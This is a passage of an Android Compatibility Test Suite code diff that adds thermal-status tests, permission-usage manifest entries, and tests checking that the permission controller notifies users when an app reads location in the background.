+ assertNull(n.getNotification().fullScreenIntent);
+ }
+
+ private StatusBarNotification findPostedNotification(int id) {
+ // notification is a bit asynchronous so it may take a few ms to appear in
+ // getActiveNotifications()
+ // we will check for it for up to 300ms before giving up
+ StatusBarNotification n = null;
+ for (int tries = 3; tries--> 0;) {
+ final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ Log.d(TAG, "Found " + sbn.getKey());
+ if (sbn.getId() == id) {
+ n = sbn;
+ break;
+ }
+ }
+ if (n != null) break;
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ }
+ return n;
+ }
+
+ private PendingIntent getPendingIntent() {
+ return PendingIntent.getActivity(
+ mContext, 0, new Intent(mContext, this.getClass()), 0);
+ }
+}
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
new file mode 100644
index 0000000..5f5441b
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.TestCase.assertEquals;
+
+import android.content.Context;
+import android.os.PowerManager;
+import android.os.PowerManager.ThermalStatusCallback;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import org.junit.After;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+import java.io.IOException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+
+public class PowerManager_ThermalTest {
+ private static final long CALLBACK_TIMEOUT_MILLI_SEC = 5000;
+ private UiDevice mUiDevice;
+ private Context mContext;
+ private PowerManager mPowerManager;
+ private Executor mExec = Executors.newSingleThreadExecutor();
+ @Mock
+ private ThermalStatusCallback mCallback;
+
+ @Before
+ public void setUp() throws Exception {
+ MockitoAnnotations.initMocks(this);
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mPowerManager = mContext.getSystemService(PowerManager.class);
+ mUiDevice.executeShellCommand("cmd thermalservice override-status 0");
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mUiDevice.executeShellCommand("cmd thermalservice reset");
+ }
+
+ @Test
+ public void testGetThermalStatus() throws Exception {
+ int status = 0;
+ assertEquals(status, mPowerManager.getCurrentThermalStatus());
+ status = 3;
+ mUiDevice.executeShellCommand("cmd thermalservice override-status "
+ + status);
+ assertEquals(status, mPowerManager.getCurrentThermalStatus());
+ }
+
+ @Test
+ public void testThermalStatusCallback() throws Exception {
+ // Initial override status is 0
+ int status = 0;
+ mPowerManager.registerThermalStatusCallback(mCallback, mExec);
+ verify(mCallback, timeout(CALLBACK_TIMEOUT_MILLI_SEC)
+ .times(1)).onStatusChange(status);
+ reset(mCallback);
+ status = 3;
+ mUiDevice.executeShellCommand("cmd thermalservice override-status "
+ + status);
+ verify(mCallback, timeout(CALLBACK_TIMEOUT_MILLI_SEC)
+ .times(1)).onStatusChange(status);
+ reset(mCallback);
+ mPowerManager.unregisterThermalStatusCallback(mCallback);
+ status = 2;
+ mUiDevice.executeShellCommand("cmd thermalservice override-status "
+ + status);
+ verify(mCallback, timeout(CALLBACK_TIMEOUT_MILLI_SEC)
+ .times(0)).onStatusChange(status);
+ }
+}
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 53cbb3c..7ff8838 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -33,7 +33,8 @@
android-ex-camera2 \
compatibility-device-util \
truth-prebuilt \
- androidx.annotation_annotation
+ androidx.annotation_annotation \
+ platformprotosnano
LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
diff --git a/tests/tests/permission/AndroidManifest.xml b/tests/tests/permission/AndroidManifest.xml
index 118aeb5..dcdb795 100644
--- a/tests/tests/permission/AndroidManifest.xml
+++ b/tests/tests/permission/AndroidManifest.xml
@@ -32,6 +32,34 @@
android:permissionGroup="android.permission.cts.groupC"
android:description="@string/perm_c" />
+ <!-- for android.permission.cts.PermissionUsage -->
+ <permission android:name="android.permission.cts.D"
+ android:usageInfoRequired="true" />
+
+ <!-- for android.permission.cts.PermissionUsage -->
+ <uses-permission android:name="android.permission.READ_CONTACTS"
+ android:dataSentOffDevice="no"
+ android:dataSharedWithThirdParty="no"
+ android:dataUsedForMonetization="no"
+ android:dataRetentionTime="notRetained" />
+
+ <!-- for android.permission.cts.PermissionUsage -->
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"
+ android:dataSentOffDevice="yes"
+ android:dataSharedWithThirdParty="yes"
+ android:dataUsedForMonetization="yes"
+ android:dataRetentionTime="32" />
+
+ <!-- for android.permission.cts.PermissionUsage -->
+ <uses-permission android:name="android.permission.RECORD_AUDIO"
+ android:dataSentOffDevice="userTriggered"
+ android:dataSharedWithThirdParty="userTriggered"
+ android:dataUsedForMonetization="userTriggered"
+ android:dataRetentionTime="unlimited" />
+
+ <!-- for android.permission.cts.PermissionUsage -->
+ <uses-permission android:name="android.permission.READ_CALENDAR" />
+
<!-- for android.permission.cts.PermissionGroupChange -->
<permission-group android:description="@string/perm_group_b"
android:label="@string/perm_group_b"
@@ -52,6 +80,14 @@
<category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
</intent-filter>
</activity>
+
+ <service android:name=".NotificationListener"
+ android:exported="true"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
</application>
<!--
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 221ed80..9bc70fc 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -22,6 +22,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPermissionTestCases.apk" />
+ <option name="test-file-name" value="CtsAppThatAccessesLocationOnCommand.apk" />
</target_preparer>
<!-- Create place to store apks -->
@@ -41,6 +42,8 @@
<option name="push" value="CtsAppThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission28.apk" />
<option name="push" value="CtsAppThatRequestsLocationPermission22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission22.apk" />
<option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission29.apk" />
+ <option name="push" value="CtsAppThatAccessesLocationOnCommand.apk->/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk" />
+ <option name="push" value="AppThatDoesNotHaveBgLocationAccess.apk->/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk" />
</target_preparer>
<!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.mk b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.mk
new file mode 100644
index 0000000..08b0c46
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.mk
@@ -0,0 +1,32 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsAppThatAccessesLocationOnCommand
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
new file mode 100644
index 0000000..e735330
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2018 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthataccesseslocation"
+ android:versionCode="1">
+
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+ <application android:label="CtsLocationAccess">
+ <service android:name=".AccessLocationOnCommand">
+ <intent-filter>
+ <action android:name="android.permission.cts.accesslocation" />
+ </intent-filter>
+ </service>
+ </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
new file mode 100644
index 0000000..e1917e0
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+import static android.location.LocationManager.GPS_PROVIDER;
+
+import android.app.Service;
+import android.content.Intent;
+import android.location.LocationManager;
+import android.os.Binder;
+import android.os.Handler;
+import android.os.IBinder;
+
+public class AccessLocationOnCommand extends Service {
+ private static final long DELAY_MILLIS = 100;
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new Binder();
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ return (new Handler()).postDelayed(
+ () -> getSystemService(LocationManager.class).getLastKnownLocation(GPS_PROVIDER),
+ DELAY_MILLIS);
+ }
+}
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.mk b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.mk
new file mode 100644
index 0000000..fcc4b06
--- /dev/null
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.mk
@@ -0,0 +1,30 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := AppThatDoesNotHaveBgLocationAccess
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/AndroidManifest.xml b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/AndroidManifest.xml
new file mode 100644
index 0000000..81de79b
--- /dev/null
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2018 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthataccesseslocation"
+ android:versionCode="2">
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+
+ <application android:label="CtsLocationAccess" />
+</manifest>
+
diff --git a/tests/tests/permission/src/android/permission/cts/AppOpsTest.java b/tests/tests/permission/src/android/permission/cts/AppOpsTest.java
index 1209741..0f3ed4e 100644
--- a/tests/tests/permission/src/android/permission/cts/AppOpsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/AppOpsTest.java
@@ -21,7 +21,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -440,7 +439,7 @@
private static void assertHistoricEntriesEqual(
List<AppOpsManager.HistoricalPackageOps> expected,
List<AppOpsManager.HistoricalPackageOps> actual, String[] opNames) {
- assertSame(expected.size(), actual.size());
+ assertEquals(expected.size(), actual.size());
final int packageCount = expected.size();
for (int i = 0; i < packageCount; i++) {
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
new file mode 100644
index 0000000..1251232
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.app.Notification.EXTRA_TITLE;
+import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Intent.ACTION_BOOT_COMPLETED;
+import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_DELAY_MILLIS;
+import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_INTERVAL_MILLIS;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.pm.ResolveInfo;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.provider.Settings;
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.server.job.nano.JobSchedulerServiceDumpProto;
+import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.util.Arrays;
+
+/**
+ * Tests the {@code LocationAccessCheck} in permission controller.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LocationAccessCheckTest {
+ private static final String LOG_TAG = LocationAccessCheckTest.class.getSimpleName();
+
+ private static final String TEST_APP_PKG = "android.permission.cts.appthataccesseslocation";
+ private static final String TEST_APP_LABEL = "CtsLocationAccess";
+ private static final String TEST_APP_SERVICE = TEST_APP_PKG + ".AccessLocationOnCommand";
+
+ private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
+ private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
+
+ private static final Context sContext = InstrumentationRegistry.getTargetContext();
+ private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation();
+
+ private static final String PERMISSION_CONTROLLER_PKG = sContext.getPackageManager()
+ .getPermissionControllerPackageName();
+
+ /**
+ * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
+ */
+ private static void accessLocation() {
+ ServiceConnection connection = new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ sContext.unbindService(this);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ // ignore
+ }
+ };
+
+ // Connect and disconnect to service. After the service is disconnected it causes a
+ // access to the location
+ Intent testAppService = new Intent();
+ testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
+ sContext.bindService(testAppService, connection, BIND_AUTO_CREATE);
+ }
+
+ /**
+ * A {@link java.util.concurrent.Callable} that can throw a {@link Throwable}
+ */
+ private interface ThrowingCallable<T> {
+ T call() throws Throwable;
+ }
+
+ /**
+ * A {@link Runnable} that can throw a {@link Throwable}
+ */
+ private interface ThrowingRunnable {
+ void run() throws Throwable;
+ }
+
+ /**
+ * Make sure that a {@link ThrowingRunnable} eventually finishes without throwing a {@link
+ * Exception}.
+ *
+ * @param r The {@link ThrowingRunnable} to run.
+ * @param timeout the maximum time to wait
+ */
+ public static void eventually(@NonNull ThrowingRunnable r, long timeout) throws Throwable {
+ eventually(() -> {
+ r.run();
+ return 0;
+ }, timeout);
+ }
+
+ /**
+ * Make sure that a {@link ThrowingCallable} eventually finishes without throwing a {@link
+ * Exception}.
+ *
+ * @param r The {@link ThrowingCallable} to run.
+ * @param timeout the maximum time to wait
+ *
+ * @return the return value from the callable
+ *
+ * @throws NullPointerException If the return value never becomes non-null
+ */
+ public static <T> T eventually(@NonNull ThrowingCallable<T> r, long timeout) throws Throwable {
+ long start = System.currentTimeMillis();
+
+ while (true) {
+ try {
+ T res = r.call();
+ if (res == null) {
+ throw new NullPointerException("No result");
+ }
+
+ return res;
+ } catch (Throwable e) {
+ if (System.currentTimeMillis() - start < timeout) {
+ Log.d(LOG_TAG, "Ignoring exception", e);
+
+ Thread.sleep(100);
+ } else {
+ throw e;
+ }
+ }
+ }
+ }
+
+ /**
+ * Get the state of the job scheduler
+ */
+ public static JobSchedulerServiceDumpProto getJobSchedulerDump() throws Exception {
+ ParcelFileDescriptor pfd = sUiAutomation.executeShellCommand("dumpsys jobscheduler --proto");
+
+ try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+ // Copy data from 'is' into 'os'
+ try (FileInputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+ byte[] buffer = new byte[16384];
+
+ while (true) {
+ int numRead = is.read(buffer);
+
+ if (numRead == -1) {
+ break;
+ } else {
+ os.write(buffer, 0, numRead);
+ }
+ }
+ }
+
+ return JobSchedulerServiceDumpProto.parseFrom(os.toByteArray());
+ }
+ }
+
+ /**
+ * Clear all data of a package including permissions and files.
+ *
+ * @param pkg The name of the package to be cleared
+ */
+ private static void clearPackageData(@NonNull String pkg) {
+ runShellCommand("pm clear --user -2 " + pkg);
+ }
+
+ /**
+ * Force a run of the location check.
+ */
+ private static void runLocationCheck() {
+ runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+ }
+
+ /**
+ * Get a notification thrown by the permission controller that is currently visible.
+ *
+ * @return The notification or {@code null} if there is none
+ */
+ private @Nullable StatusBarNotification getPermissionControllerNotification() throws Exception {
+ NotificationListenerService notificationService = NotificationListener.getInstance();
+
+ for (StatusBarNotification notification : notificationService.getActiveNotifications()) {
+ if (notification.getPackageName().equals(PERMISSION_CONTROLLER_PKG)) {
+ return notification;
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Get a location access notification that is currently visible.
+ *
+ * @param cancelNotification if {@code true} the notification is canceled inside this method
+ *
+ * @return The notification or {@code null} if there is none
+ */
+ private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+ NotificationListenerService notificationService = NotificationListener.getInstance();
+
+ while (true) {
+ runLocationCheck();
+
+ StatusBarNotification notification;
+ try {
+ notification = eventually(this::getPermissionControllerNotification, 300);
+ } catch (NullPointerException e) {
+ return null;
+ }
+
+ if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
+ .contains(TEST_APP_LABEL)) {
+ if (cancelNotification) {
+ notificationService.cancelNotification(notification.getKey());
+
+ // Wait for notification to get canceled
+ eventually(() -> assertFalse(
+ Arrays.asList(notificationService.getActiveNotifications()).contains(
+ notification)), UNEXPECTED_TIMEOUT_MILLIS);
+ }
+
+ return notification;
+ } else {
+ notificationService.cancelNotification(notification.getKey());
+
+ // Wait until new notification can be shown
+ Thread.sleep(200);
+ }
+ }
+ }
+
+ /**
+ * Grant a permission to the {@value #TEST_APP_PKG}.
+ *
+ * @param permission The permission to grant
+ */
+ private void grantPermissionToTestApp(@NonNull String permission) {
+ sUiAutomation.grantRuntimePermission(TEST_APP_PKG, permission);
+ }
+
+ /**
+ * Register {@link NotificationListener}.
+ */
+ @BeforeClass
+ public static void allowNotificationAccess() {
+ runShellCommand("cmd notification allow_listener " + (new ComponentName(sContext,
+ NotificationListener.class).flattenToString()));
+ }
+
+ /**
+ * Change settings so that permission controller can show location access notifications more
+ * often.
+ */
+ @BeforeClass
+ public static void reduceDelays() {
+ runWithShellPermissionIdentity(() -> {
+ ContentResolver cr = sContext.getContentResolver();
+
+ // New settings will be applied in when permission controller is reset
+ Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS, 100);
+ Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS, 50);
+ });
+ }
+
+ /**
+ * Reset the permission controllers state before each test
+ */
+ @Before
+ public void resetPermissionControllerBeforeEachTest() throws Throwable {
+ resetPermissionController();
+ }
+
+ /**
+ * Reset the permission controllers state.
+ */
+ private static void resetPermissionController() throws Throwable {
+ clearPackageData(PERMISSION_CONTROLLER_PKG);
+
+ // Wait until jobs are cleared
+ eventually(() -> {
+ JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+ for (RegisteredJob job : dump.registeredJobs) {
+ assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+ }
+ }, UNEXPECTED_TIMEOUT_MILLIS);
+
+ // Setup up permission controller again (simulate a reboot)
+ Intent permissionControllerSetupIntent = null;
+ for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers(
+ new Intent(ACTION_BOOT_COMPLETED), 0)) {
+ String pkg = ri.activityInfo.packageName;
+
+ if (pkg.equals(PERMISSION_CONTROLLER_PKG)) {
+ permissionControllerSetupIntent = new Intent();
+ permissionControllerSetupIntent.setClassName(pkg, ri.activityInfo.name);
+ }
+ }
+
+ if (permissionControllerSetupIntent != null) {
+ sContext.sendBroadcast(permissionControllerSetupIntent);
+ }
+
+ // Wait until jobs are set up
+ eventually(() -> {
+ JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+ for (RegisteredJob job : dump.registeredJobs) {
+ if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+ return;
+ }
+ }
+
+ fail("Permission controller jobs not found");
+ }, UNEXPECTED_TIMEOUT_MILLIS);
+ }
+
+ /**
+ * Unregister {@link NotificationListener}.
+ */
+ @AfterClass
+ public static void disallowNotificationAccess() {
+ runShellCommand("cmd notification disallow_listener " + (new ComponentName(sContext,
+ NotificationListener.class)).flattenToString());
+ }
+
+ /**
+ * Reset settings so that permission controller runs normally.
+ */
+ @AfterClass
+ public static void resetDelays() throws Throwable {
+ runWithShellPermissionIdentity(() -> {
+ ContentResolver cr = sContext.getContentResolver();
+
+ Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS);
+ Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS);
+ });
+
+ resetPermissionController();
+ }
+
+ @Test
+ public void notificationIsShown() throws Throwable {
+ accessLocation();
+ assertNotNull(getNotification(true));
+ }
+
+ @Test
+ public void notificationIsShownOnlyOnce() throws Throwable {
+ accessLocation();
+ getNotification(true);
+
+ assertNull(getNotification(false));
+ }
+
+ @Test
+ public void notificationIsShownAgainAfterClear() throws Throwable {
+ accessLocation();
+ getNotification(true);
+
+ clearPackageData(TEST_APP_PKG);
+
+ // Wait until package is cleared and permission controller has cleared the state
+ Thread.sleep(2000);
+
+ // Clearing removed the permissions, hence grant them again
+ grantPermissionToTestApp(ACCESS_FINE_LOCATION);
+ grantPermissionToTestApp(ACCESS_BACKGROUND_LOCATION);
+
+ accessLocation();
+ assertNotNull(getNotification(false));
+ }
+
+ @Test
+ public void notificationIsShownAgainAfterUninstallAndReinstall() throws Throwable {
+ accessLocation();
+ getNotification(true);
+
+ runShellCommand("pm uninstall " + TEST_APP_PKG);
+
+ // Wait until package permission controller has cleared the state
+ Thread.sleep(2000);
+
+ runShellCommand("pm install -g "
+ + "/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk");
+
+ eventually(() -> {
+ accessLocation();
+ assertNotNull(getNotification(false));
+ }, UNEXPECTED_TIMEOUT_MILLIS);
+ }
+
+ @Test
+ public void removeNotificationOnUninstall() throws Throwable {
+ accessLocation();
+ getNotification(false);
+
+ runShellCommand("pm uninstall " + TEST_APP_PKG);
+
+ eventually(() -> assertNull(getNotification(false)), UNEXPECTED_TIMEOUT_MILLIS);
+ }
+
+ @Test
+ public void notificationIsNotShownAfterAppDoesNotRequestLocationAnymore() throws Throwable {
+ accessLocation();
+ getNotification(true);
+
+ // Update to app to a version that does not request permission anymore
+ runShellCommand("pm install -r "
+ + "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk");
+
+ resetPermissionController();
+
+ try {
+ // We don't expect a notification, but try to trigger one anyway
+ eventually(() -> assertNotNull(getNotification(false)), EXPECTED_TIMEOUT_MILLIS);
+ } catch (AssertionError expected) {
+ return;
+ }
+
+ fail("Location access notification was shown");
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NotificationListener.java b/tests/tests/permission/src/android/permission/cts/NotificationListener.java
new file mode 100644
index 0000000..3a63524
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NotificationListener.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import android.service.notification.NotificationListenerService;
+import android.util.Log;
+
+public class NotificationListener extends NotificationListenerService {
+ private static final String LOG_TAG = NotificationListener.class.getSimpleName();
+
+ private static final Object sLock = new Object();
+
+ private static NotificationListener sService;
+
+ @Override
+ public void onListenerConnected() {
+ Log.i(LOG_TAG, "connected");
+ synchronized (sLock) {
+ sService = this;
